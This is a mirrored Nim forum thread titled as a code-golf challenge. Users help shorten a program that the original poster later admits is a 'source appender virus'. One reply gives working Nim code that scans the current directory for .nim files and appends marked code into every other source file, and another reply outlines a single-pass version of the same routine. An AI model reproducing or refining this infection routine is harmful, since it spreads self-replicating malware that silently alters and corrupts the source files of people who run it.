Mirror of forum.nim-lang.org

4858 :: [Challenge]How short or efficient can you make this code?

• blmvxer (orginal) [2019-05-17T23:25:28+02:00] view original

  Couldn't render post #30420.

---

• kidandcat (orginal) [2019-05-18T00:06:36+02:00] view original

  You can make it work to begin with.

---

• Libman (orginal) [2019-05-18T19:12:50+02:00] view original

  I didn't take time to properly understand your code or to test this, but here's my idea of what clean code looks like:

  import os, streams, strutils
  
  var appendCodeBlock  = ""
  var filesWeAppendTo: seq[string]
  
  let wildcard = getCurrentDir() / "*.nim"
  for file in wildcard.walkFiles:
    if file.getFileSize != 427: continue
    let code = file.readFile
    if code.contains("#marker"):
      appendCodeBlock &= "\n\n\n" & code
    else:
      filesWeAppendTo.add file
  
  for file in filesWeAppendTo:
    let fs = newFileStream(file, fmAppend)
    fs.write appendCodeBlock
    fs.close
  Run

---

• kobi (orginal) [2019-05-19T10:50:36+02:00] view original

  You should iterate the directory only once. (currently it's n^2) do your filtering - check by file size (if false continue) and then by #marker check (true - add tuple[filepath, ourcode] to one list, false - add path to a second list). let blob = concatenate all your markers (ourCode) from first list. for each host in second list, append blob

---

• blmvxer (orginal) [2019-05-20T21:32:20+02:00] view original

  I like the idea of only walking through once, the one thing I like not using is lists and variable

---

• jrfondren (orginal) [2019-05-21T17:01:06+02:00] view original

  Can you describe, in English, what this is even supposed to do?

---

• blmvxer (orginal) [2019-05-21T17:26:20+02:00] view original

  It's a source appender virus.

---

• Libman (orginal) [2019-05-22T00:30:19+02:00] view original

  He probably works for GitHub. 😵

---